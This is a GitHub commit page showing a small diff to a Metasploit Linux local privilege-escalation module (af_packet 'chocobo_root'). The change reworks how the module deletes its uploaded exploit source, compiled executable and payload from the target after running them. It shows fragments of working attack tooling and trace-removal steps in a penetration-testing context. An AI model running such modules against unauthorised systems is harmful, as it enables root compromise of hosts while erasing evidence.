Skip to content

Commit 9e9dff8

Browse files
committed
fix file cleanup on failed exploitation
1 parent cd0161a commit 9e9dff8

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

modules/exploits/linux/local/af_packet_chocobo_root_priv_esc.rb

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,6 @@ def upload(path, data)
8383
print_status "Writing '#{path}' (#{data.size} bytes) ..."
8484
rm_f path
8585
write_file path, data
86-
register_file_for_cleanup path
8786
end
8887

8988
def upload_and_chmodx(path, data)
@@ -99,14 +98,14 @@ def upload_and_compile(path, data)
9998
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
10099
end
101100
output = cmd_exec gcc_cmd
101+
rm_f "#{path}.c"
102102

103103
unless output.blank?
104104
print_error output
105105
fail_with Failure::Unknown, "#{path}.c failed to compile"
106106
end
107107

108108
cmd_exec "chmod +x #{path}"
109-
register_file_for_cleanup path
110109
end
111110

112111
def exploit_data(file)
@@ -194,5 +193,8 @@ def exploit
194193
print_status "Launching exploit (Timeout: #{timeout})..."
195194
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
196195
output.each_line { |line| vprint_status line.chomp }
196+
print_status "Cleaning up #{payload_path} and #{executable_path}.."
197+
rm_f executable_path
198+
rm_f payload_path
197199
end
198200
end

0 commit comments

Comments
 (0)